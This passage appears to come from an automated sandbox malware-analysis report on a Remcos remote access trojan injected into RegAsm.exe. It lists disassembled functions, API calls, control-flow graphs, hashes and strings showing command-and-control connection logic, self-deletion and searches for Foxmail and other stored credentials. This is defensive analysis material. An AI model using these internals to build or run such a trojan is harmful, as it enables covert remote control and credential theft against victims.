                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Crypt$Context$AcquireRandomRelease
                      • String ID:
                      • API String ID: 1815803762-0
                      • Opcode ID: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                      • Instruction ID: 864202151b2ab8ebdb17250bb7e2999cce5b6c404a207f59f2405eb254ca80c1
                      • Opcode Fuzzy Hash: 81ae4bbc27a0383ddd18646ed4cc5f88ed8aa0b0f15284250c3048956b898281
                      • Instruction Fuzzy Hash: 83E09231308310FAFB341F25AC08F573AA5EB89B67F20093AF211E40E4D2568C018A5C
                      Function 00448957 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 30timeCOMMON
                      Download Yara Rule
                      APIs
                      • GetSystemTimeAsFileTime.KERNEL32(00000000,0043AAB7), ref: 00448996
                      Strings
                      • GetSystemTimePreciseAsFileTime, xrefs: 00448972
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Time$FileSystem
                      • String ID: GetSystemTimePreciseAsFileTime
                      • API String ID: 2086374402-595813830
                      • Opcode ID: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                      • Instruction ID: 0ece642104574987c61f359f6ab52f67772cb5eafdc88f944851b8b866d171c2
                      • Opcode Fuzzy Hash: ec0f4eb119bfc3d52cbbcb4ffab675a518ff64a6f359a61470016f4626938150
                      • Instruction Fuzzy Hash: 55E0E571A41718E7D710AB259C02E7EBB54DB44B02B10027EFC0957382DE285D0496DE
                      Function 0041B60D Relevance: 3.0, APIs: 2, Instructions: 41COMMON
                      Download Yara Rule
                      APIs
                      • GetComputerNameExW.KERNEL32(00000001,?,0000002B,004750E4), ref: 0041B62A
                      • GetUserNameW.ADVAPI32(?,0040F223), ref: 0041B642
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Name$ComputerUser
                      • String ID:
                      • API String ID: 4229901323-0
                      • Opcode ID: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                      • Instruction ID: 2f1a7eaa0fafc1393a04fa3680ad11d69711b7caddb5f837a5711c727b94ccef
                      • Opcode Fuzzy Hash: 9c10d94fd0e958066dbb06410c8ca978aa41ccff27f968e031cf55491574d835
                      • Instruction Fuzzy Hash: 3B014F7190011CABCB01EBD5DC45EEDB7BCAF44309F10016AB505B61A1EFB46E88CBA8
                      Function 00434B47 Relevance: 1.5, APIs: 1, Instructions: 3COMMON
                      Download Yara Rule
                      APIs
                      • SetUnhandledExceptionFilter.KERNEL32 ref: 00434B4C
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: ExceptionFilterUnhandled
                      • String ID:
                      • API String ID: 3192549508-0
                      • Opcode ID: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                      • Instruction ID: b2b6851a15331e9206a2225a79f218ff0d060d1473a4ca8ef9e7ab7021fb00da
                      • Opcode Fuzzy Hash: 94f820becb3d11eb86a2e9fe35426058ee7de7bf36e1f11b305b7456ad7b3320
                      • Instruction Fuzzy Hash:
                      Function 0040E9C5 Relevance: 86.5, APIs: 15, Strings: 34, Instructions: 795COMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 5 40e9c5-40ea47 call 41cb50 GetModuleFileNameW call 40f3c3 call 4020f6 * 2 call 41be1b call 40fb17 call 401e8d call 43fd00 22 40ea93-40eb5b call 401e65 call 401fab call 401e65 call 40531e call 406383 call 401fe2 call 401fd8 * 2 call 401e65 call 401fc0 call 405aa6 call 401e65 call 4051e3 call 401e65 call 4051e3 5->22 23 40ea49-40ea8e call 40fbb3 call 401e65 call 401fab call 410f37 call 40fb64 call 40f3b0 5->23 69 40eb5d-40eba8 call 406c1e call 401fe2 call 401fd8 call 401fab call 413549 22->69 70 40ebae-40ebc9 call 401e65 call 40b9bd 22->70 49 40eef2-40ef03 call 401fd8 23->49 69->70 100 40f34f-40f36a call 401fab call 4139a9 call 412475 69->100 79 40ec03-40ec0a call 40d069 70->79 80 40ebcb-40ebea call 401fab call 413549 70->80 88 40ec13-40ec1a 79->88 89 40ec0c-40ec0e 79->89 80->79 99 40ebec-40ec02 call 401fab call 4139a9 80->99 94 40ec1c 88->94 95 40ec1e-40ec2a call 41b2c3 88->95 93 40eef1 89->93 93->49 94->95 104 40ec33-40ec37 95->104 105 40ec2c-40ec2e 95->105 99->79 126 40f36f-40f3a0 call 41bc5e call 401f04 call 413a23 call 401f09 * 2 100->126 108 40ec76-40ec89 call 401e65 call 401fab 104->108 109 40ec39 call 407716 104->109 105->104 127 40ec90-40ed18 call 401e65 call 41bc5e call 401f13 call 401f09 call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab 108->127 128 40ec8b call 407755 108->128 117 40ec3e-40ec40 109->117 120 40ec42-40ec47 call 407738 call 407260 117->120 121 40ec4c-40ec5f call 401e65 call 401fab 117->121 120->121 121->108 141 40ec61-40ec67 121->141 156 40f3a5-40f3af call 40dd42 call 414f2a 126->156 177 40ed80-40ed84 127->177 178 40ed1a-40ed33 call 401e65 call 401fab call 43bad6 127->178 128->127 141->108 144 40ec69-40ec6f 141->144 144->108 147 40ec71 call 407260 144->147 147->108 180 40ef06-40ef66 call 436e90 call 40247c call 401fab * 2 call 4136f8 call 409057 177->180 181 40ed8a-40ed91 177->181 178->177 204 40ed35-40ed7b call 401e65 call 401fab call 401e65 call 401fab call 40da34 call 401f13 call 401f09 178->204 234 40ef6b-40efbf call 401e65 call 401fab call 402093 call 401fab call 41376f call 401e65 call 401fab call 43baac 180->234 183 40ed93-40ee0d call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 40cdf9 181->183 184 40ee0f-40ee19 call 409057 181->184 190 40ee1e-40ee42 call 40247c call 434798 183->190 184->190 211 40ee51 190->211 212 40ee44-40ee4f call 436e90 190->212 204->177 217 40ee53-40ee9e call 401f04 call 43f809 call 40247c call 401fab call 40247c call 401fab call 413947 211->217 212->217 272 40eea3-40eec8 call 4347a1 call 401e65 call 40b9bd 217->272 286 40efc1 234->286 287 40efdc-40efde 234->287 272->234 288 40eece-40eeed call 401e65 call 41bc5e call 40f474 272->288 289 40efc3-40efda call 41cd9b CreateThread 286->289 290 40efe0-40efe2 287->290 291 40efe4 287->291 288->234 306 40eeef 288->306 295 40efea-40f0c6 call 402093 * 2 call 41b4ef call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 43baac call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab call 401e65 call 401fab StrToIntA call 409de4 call 401e65 call 401fab 289->295 290->289 291->295 344 40f101 295->344 345 40f0c8-40f0ff call 4344ea call 401e65 call 401fab CreateThread 295->345 306->93 346 40f103-40f11b call 401e65 call 401fab 344->346 345->346 357 40f159-40f16c call 401e65 call 401fab 346->357 358 40f11d-40f154 call 4344ea call 401e65 call 401fab CreateThread 346->358 367 40f1cc-40f1df call 401e65 call 401fab 357->367 368 40f16e-40f1c7 call 401e65 call 401fab call 401e65 call 401fab call 40d9e8 call 401f13 call 401f09 CreateThread 357->368 358->357 379 40f1e1-40f215 call 401e65 call 401fab call 401e65 call 401fab call 43baac call 40c162 367->379 380 40f21a-40f23e call 41b60d call 401f13 call 401f09 367->380 368->367 379->380 400 40f240-40f241 SetProcessDEPPolicy 380->400 401 40f243-40f256 CreateThread 380->401 400->401 405 40f264-40f26b 401->405 406 40f258-40f262 CreateThread 401->406 410 40f279-40f280 405->410 411 40f26d-40f277 CreateThread 405->411 406->405 412 40f282-40f285 410->412 413 40f28e 410->413 411->410 415 40f287-40f28c 412->415 416 40f2cc-40f2df call 401fab call 4134ff 412->416 418 40f293-40f2c7 call 402093 call 4052fd call 402093 call 41b4ef call 401fd8 413->418 415->418 425 40f2e4-40f2e7 416->425 418->416 425->156 427 40f2ed-40f32d call 41bc5e call 401f04 call 41361b call 401f09 call 401f04 425->427 443 40f346-40f34b DeleteFileW 427->443 444 40f34d 443->444 445 40f32f-40f332 443->445 444->126 445->126 446 40f334-40f341 Sleep call 401f04 445->446 446->443
                      APIs
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Psapi), ref: 0041CB65
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB6E
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(Kernel32,GetProcessImageFileNameW,?,?,?,?,0040E9E1), ref: 0041CB85
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB88
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(shcore), ref: 0041CB9A
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CB9D
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(user32), ref: 0041CBAE
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBB1
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(ntdll), ref: 0041CBC3
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBC6
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(kernel32), ref: 0041CBD2
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBD5
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,IsWow64Process,?,?,?,?,0040E9E1), ref: 0041CBE6
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBE9
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetComputerNameExW,?,?,?,?,0040E9E1), ref: 0041CBFA
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CBFD
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shell32), ref: 0041CC0E
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC11
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,SetProcessDEPPolicy,?,?,?,?,0040E9E1), ref: 0041CC22
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC25
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayDevicesW,?,?,?,?,0040E9E1), ref: 0041CC36
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC39
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,EnumDisplayMonitors,?,?,?,?,0040E9E1), ref: 0041CC4A
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC4D
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(user32,GetMonitorInfoW,?,?,?,?,0040E9E1), ref: 0041CC5E
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC61
                        • Part of subcall function 0041CB50: GetModuleHandleA.KERNEL32(kernel32,GetSystemTimes,?,?,?,?,0040E9E1), ref: 0041CC72
                        • Part of subcall function 0041CB50: GetProcAddress.KERNEL32(00000000,?,?,?,?,0040E9E1), ref: 0041CC75
                        • Part of subcall function 0041CB50: LoadLibraryA.KERNEL32(Shlwapi), ref: 0041CC83
                      • GetModuleFileNameW.KERNEL32(00000000,C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe,00000104), ref: 0040E9EE
                        • Part of subcall function 00410F37: __EH_prolog.LIBCMT ref: 00410F3C
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: AddressProc$Module$Handle$LibraryLoad$FileH_prologName
                      • String ID: 8SG$8SG$Access Level: $Administrator$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Exe$Exe$Inj$PSG$Remcos Agent initialized$Rmc-F4JFYD$Software\$User$dMG$del$del$exepath$licence$license_code.txt$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG$PG
                      • API String ID: 2830904901-1318343205
                      • Opcode ID: 0ddb8f7fe896439c3356cabd6246e43da0fa9b57f35507021f4f8b6732c3ecef
                      • Instruction ID: d4e128c763ae9979da4f7e35a5cae12564b96cb69b39ecb6445d524eb2b23fe8
                      • Opcode Fuzzy Hash: 0ddb8f7fe896439c3356cabd6246e43da0fa9b57f35507021f4f8b6732c3ecef
                      • Instruction Fuzzy Hash: 6332D860B043412BDA24B7729C67B6E26994F81748F50483FB9467B2E3EFBC4D45839E
                      Function 00414F2A Relevance: 49.8, APIs: 5, Strings: 23, Instructions: 809sleepnetworkCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 494 414f2a-414f72 call 4020df call 41b8b3 call 4020df call 401e65 call 401fab call 43baac 507 414f81-414fcd call 402093 call 401e65 call 4020f6 call 41be1b call 40489e call 401e65 call 40b9bd 494->507 508 414f74-414f7b Sleep 494->508 523 415041-4150dc call 402093 call 401e65 call 4020f6 call 41be1b call 401e65 * 2 call 406c1e call 402f10 call 401fe2 call 401fd8 * 2 call 401e65 call 405b05 507->523 524 414fcf-41503e call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 401e65 call 40247c call 401e65 call 401fab call 40473d 507->524 508->507 577 4150ec-4150f3 523->577 578 4150de-4150ea 523->578 524->523 579 4150f8-41518a call 405aa6 call 40531e call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 2 call 401e65 call 401fab call 401e65 call 401fab call 414ee9 577->579 578->579 606 4151d5-4151e3 call 40482d 579->606 607 41518c-4151d0 WSAGetLastError call 41cae1 call 4052fd call 402093 call 41b4ef call 401fd8 579->607 612 415210-415225 call 404f51 call 4048c8 606->612 613 4151e5-41520b call 402093 * 2 call 41b4ef 606->613 627 415aa3-415ab5 call 404e26 call 4021fa 607->627 612->627 628 41522b-41537e call 401e65 * 2 call 40531e call 406383 call 402f10 call 406383 call 402f10 call 402093 call 41b4ef call 401fd8 * 4 call 41b7e0 call 4145bd call 40905c call 441e81 call 401e65 call 4020f6 call 40247c call 401fab * 2 call 4136f8 612->628 613->627 643 415ab7-415ad7 call 401e65 call 401fab call 43baac Sleep 627->643 644 415add-415ae5 call 401e8d 627->644 694 415380-41538d call 405aa6 628->694 695 415392-4153b9 call 401fab call 4135a6 628->695 643->644 644->523 694->695 701 4153c0-415485 call 40417e call 40dd89 call 41bc42 call 41bd1e call 41bb8e call 401e65 GetTickCount call 41bb8e call 41bae6 call 41bb8e * 2 call 41ba96 695->701 702 4153bb-4153bd 695->702 725 41548a-415a16 call 41bd1e * 5 call 40f8d1 call 41bd1e call 402f31 call 402ea1 call 402f10 call 402ea1 call 402f10 * 3 call 402ea1 call 402f10 call 406383 call 402f10 call 406383 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 402ea1 call 402f10 call 406383 call 402f10 * 5 call 402ea1 call 402f10 call 402ea1 call 402f10 * 7 call 402ea1 call 404aa1 call 401fd8 * 50 call 401f09 call 401fd8 * 6 call 401f09 call 404c10 701->725 702->701 948 415a18-415a1f 725->948 949 415a2a-415a31 725->949 948->949 952 415a21-415a23 948->952 950 415a33-415a38 call 40b051 949->950 951 415a3d-415a6f call 405a6b call 402093 * 2 call 41b4ef 949->951 950->951 963 415a71-415a7d CreateThread 951->963 964 415a83-415a9e call 401fd8 * 2 call 401f09 951->964 952->949 963->964 964->627
                      APIs
                      • Sleep.KERNEL32(00000000,00000029,004752F0,004750E4,00000000), ref: 00414F7B
                      • WSAGetLastError.WS2_32(00000000,00000001), ref: 0041518C
                      • Sleep.KERNEL32(00000000,00000002), ref: 00415AD7
                        • Part of subcall function 0041B4EF: GetLocalTime.KERNEL32(00000000), ref: 0041B509
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$ErrorLastLocalTime
                      • String ID: | $%I64u$5.1.0 Pro$8SG$C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe$Connected | $Connecting | $Connection Error: $Connection Error: Unable to create socket$Disconnected$Exe$PSG$Rmc-F4JFYD$TLS Off$TLS On $dMG$hlight$name$NG$NG$PG$PG$PG
                      • API String ID: 524882891-176642185
                      • Opcode ID: a45a425409cf17e0a224f96934256d7a71e07a26eeb9cc3bf1b88c3ac38f2236
                      • Instruction ID: 324fc11d7bea0fba9c16e2c7d7b547a311b01f704130931fc4cc70caa797af2d
                      • Opcode Fuzzy Hash: a45a425409cf17e0a224f96934256d7a71e07a26eeb9cc3bf1b88c3ac38f2236
                      • Instruction Fuzzy Hash: 22526B31A001155ACB18F732DD96AFE73769F90344F6041BFE40A761E2EF781E858A5D
                      Function 00412AB4 Relevance: 25.0, APIs: 9, Strings: 5, Instructions: 482sleepfileCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 971 412ab4-412afd GetModuleFileNameW call 4020df * 3 978 412aff-412b89 call 41b978 call 401fab call 40d9e8 call 401fd8 call 41b978 call 401fab call 40d9e8 call 401fd8 call 41b978 call 401fab call 40d9e8 call 401fd8 971->978 1003 412b8b-412c1b call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 418568 call 401f09 * 4 978->1003 1026 412c2b 1003->1026 1027 412c1d-412c25 Sleep 1003->1027 1028 412c2d-412cbd call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 418568 call 401f09 * 4 1026->1028 1027->1003 1027->1026 1051 412ccd 1028->1051 1052 412cbf-412cc7 Sleep 1028->1052 1053 412ccf-412d5f call 401fab call 40417e call 4042fc call 40431d call 403014 call 401f04 call 418568 call 401f09 * 4 1051->1053 1052->1028 1052->1051 1076 412d61-412d69 Sleep 1053->1076 1077 412d6f-412d94 1053->1077 1076->1053 1076->1077 1078 412d98-412db4 call 401f04 call 41c485 1077->1078 1083 412db6-412dc5 call 401f04 DeleteFileW 1078->1083 1084 412dcb-412de7 call 401f04 call 41c485 1078->1084 1083->1084 1091 412e04 1084->1091 1092 412de9-412e02 call 401f04 DeleteFileW 1084->1092 1094 412e08-412e24 call 401f04 call 41c485 1091->1094 1092->1094 1100 412e26-412e38 call 401f04 DeleteFileW 1094->1100 1101 412e3e-412e40 1094->1101 1100->1101 1103 412e42-412e44 1101->1103 1104 412e4d-412e58 Sleep 1101->1104 1103->1104 1106 412e46-412e4b 1103->1106 1104->1078 1107 412e5e-412e70 call 406b28 1104->1107 1106->1104 1106->1107 1110 412e72-412e80 call 406b28 1107->1110 1111 412ec6-412ee5 call 401f09 * 3 1107->1111 1110->1111 1117 412e82-412e90 call 406b28 1110->1117 1123 412eea-412f23 call 40b904 call 401f04 call 4020f6 call 41322d 1111->1123 1117->1111 1122 412e92-412ebe Sleep call 401f09 * 3 1117->1122 1122->978 1137 412ec4 1122->1137 1138 412f28-412f4e call 401f09 call 405b05 1123->1138 1137->1123 1143 412f54-4130a3 call 41bd1e call 41bb8e call 402f31 call 402f10 * 6 call 402ea1 call 402f10 call 402ea1 call 404aa1 call 401fd8 * 10 1138->1143 1144 4130a8-4131a1 call 41bd1e call 402f31 call 402f10 * 6 call 402ea1 call 404aa1 call 401fd8 * 7 1138->1144 1213 4131a5-41322c call 401fd8 call 401f09 call 401fd8 * 9 1143->1213 1144->1213
                      APIs
                      • GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 00412ACD
                        • Part of subcall function 0041B978: GetCurrentProcessId.KERNEL32(00000000,636B1986,00000000,?,?,?,?,00466468,0040D20D,.vbs,?,?,?,?,?,004752F0), ref: 0041B99F
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(004040F5), ref: 0041857E
                        • Part of subcall function 00418568: CloseHandle.KERNEL32(t^F), ref: 00418587
                      • Sleep.KERNEL32(0000000A,00465E74), ref: 00412C1F
                      • Sleep.KERNEL32(0000000A,00465E74,00465E74), ref: 00412CC1
                      • Sleep.KERNEL32(0000000A,00465E74,00465E74,00465E74), ref: 00412D63
                      • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DC5
                      • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412DFC
                      • DeleteFileW.KERNEL32(00000000,00465E74,00465E74,00465E74), ref: 00412E38
                      • Sleep.KERNEL32(000001F4,00465E74,00465E74,00465E74), ref: 00412E52
                      • Sleep.KERNEL32(00000064), ref: 00412E94
                        • Part of subcall function 00404AA1: send.WS2_32(FFFFFFFF,00000000,00000000,00000000), ref: 00404B36
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_400000_RegAsm.jbxd
                      Yara matches
                      Similarity
                      • API ID: Sleep$File$Delete$CloseHandle$CurrentModuleNameProcesssend
                      • String ID: /stext "$0TG$0TG$NG$NG
                      • API String ID: 1223786279-2576077980
                      • Opcode ID: fbf509afc92746e03d26736fe4b660e0fbe64804a07ff71d5ab4296f258ac7f1
                      • Instruction ID: 3b0169c2c8bc9f0d695cedb60fdc7b81a1931596247e975dd6f1dc47d42db627
                      • Opcode Fuzzy Hash: fbf509afc92746e03d26736fe4b660e0fbe64804a07ff71d5ab4296f258ac7f1
                      • Instruction Fuzzy Hash: 990255311083418AC325FB62D851AEFB3E5AFD4348F50483EF58A971E2EF785A49C65A
                      Function 100012EE Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 243stringCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      APIs
                      • GetEnvironmentVariableW.KERNEL32(ProgramFiles,?,00000104), ref: 10001434
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,00000002,00000000), ref: 10001137
                        • Part of subcall function 100010F1: lstrcatW.KERNEL32(?,?), ref: 10001151
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000115C
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000116D
                        • Part of subcall function 100010F1: lstrlenW.KERNEL32(?,?,?,?,?,?,?,00000002,00000000), ref: 1000117C
                        • Part of subcall function 100010F1: FindFirstFileW.KERNEL32(?,?,?,?,?,?,?,?,00000002,00000000), ref: 10001193
                        • Part of subcall function 100010F1: FindNextFileW.KERNEL32(00000000,00000010), ref: 100011D0
                        • Part of subcall function 100010F1: FindClose.KERNEL32(00000000), ref: 100011DB
                      • lstrlenW.KERNEL32(?), ref: 100014C5
                      • lstrlenW.KERNEL32(?), ref: 100014E0
                      • lstrlenW.KERNEL32(?,?), ref: 1000150F
                      • lstrcatW.KERNEL32(00000000), ref: 10001521
                      • lstrlenW.KERNEL32(?,?), ref: 10001547
                      • lstrcatW.KERNEL32(00000000), ref: 10001553
                      • lstrlenW.KERNEL32(?,?), ref: 10001579
                      • lstrcatW.KERNEL32(00000000), ref: 10001585
                      • lstrlenW.KERNEL32(?,?), ref: 100015AB
                      • lstrcatW.KERNEL32(00000000), ref: 100015B7
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970671357.0000000010001000.00000040.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                      • Associated: 0000000C.00000002.970667559.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970671357.0000000010016000.00000040.00001000.00020000.00000000.sdmpDownload File
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_12_2_10000000_RegAsm.jbxd
                      Similarity
                      • API ID: lstrlen$lstrcat$Find$File$CloseEnvironmentFirstNextVariable
                      • String ID: )$Foxmail$ProgramFiles
                      • API String ID: 672098462-2938083778
                      • Opcode ID: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                      • Instruction ID: 44b728d421a24f1832cbc0053e0d9d9aefaca4d51113d01ad6b93c48f87fe4b0
                      • Opcode Fuzzy Hash: 70009fe3950369d2bec9de66e6564922956a7fdd4521fcb7cc54e78474496dcb
                      • Instruction Fuzzy Hash: 4081A475A40358A9EB30D7A0DC86FDE7379EF84740F00059AF608EB191EBB16AC5CB95
                      Function 00414D86 Relevance: 24.6, APIs: 9, Strings: 5, Instructions: 109libraryloaderCOMMON
                      Download Yara Rule

                      Control-flow Graph

                      • Executed
                      • Not Executed
                      control_flow_graph 1286 414d86-414dc2 1287 414dc8-414ddd GetSystemDirectoryA 1286->1287 1288 414edd-414ee8 1286->1288 1289 414ed3 1287->1289 1290 414de3-414e2f call 441a3e call 441a98 LoadLibraryA 1287->1290 1289->1288 1295 414e31-414e3b GetProcAddress 1290->1295 1296 414e46-414e80 call 441a3e call 441a98 LoadLibraryA 1290->1296 1297 414e42-414e44 1295->1297 1298 414e3d-414e40 FreeLibrary 1295->1298 1307 414e82-414e8c GetProcAddress 1296->1307 1308 414ecf-414ed2 1296->1308 1297->1296 1300 414e97 1297->1300 1298->1297 1302 414e99-414eaa GetProcAddress 1300->1302 1305 414eb4-414eb7 FreeLibrary 1302->1305 1306 414eac-414eb0 1302->1306 1310 414eb9-414ebb 1305->1310 1306->1302 1309 414eb2 1306->1309 1311 414e93-414e95 1307->1311 1312 414e8e-414e91 FreeLibrary 1307->1312 1308->1289 1309->1310 1310->1308 1313 414ebd-414ecd 1310->1313 1311->1300 1311->1308 1312->1311 1313->1308 1313->1313
                      APIs
                      • GetSystemDirectoryA.KERNEL32(?,00000104), ref: 00414DD5
                      • LoadLibraryA.KERNEL32(?), ref: 00414E17
                      • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E37
                      • FreeLibrary.KERNEL32(00000000), ref: 00414E3E
                      • LoadLibraryA.KERNEL32(?), ref: 00414E76
                      • GetProcAddress.KERNEL32(00000000,getaddrinfo), ref: 00414E88
                      • FreeLibrary.KERNEL32(00000000), ref: 00414E8F
                      • GetProcAddress.KERNEL32(00000000,?), ref: 00414E9E
                      • FreeLibrary.KERNEL32(00000000), ref: 00414EB5
                      Strings
                      Memory Dump Source
                      • Source File: 0000000C.00000002.970026659.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true
                      • Associated: 0000000C.00000002.970026659.0000000000474000.00000040.00000400.00020000.00000000.sdmpDownload File
                      • Associated: 0000000C.00000002.970026659.0000000000478000.00000040.00000400.00020000.00000000.sdmpDownload File
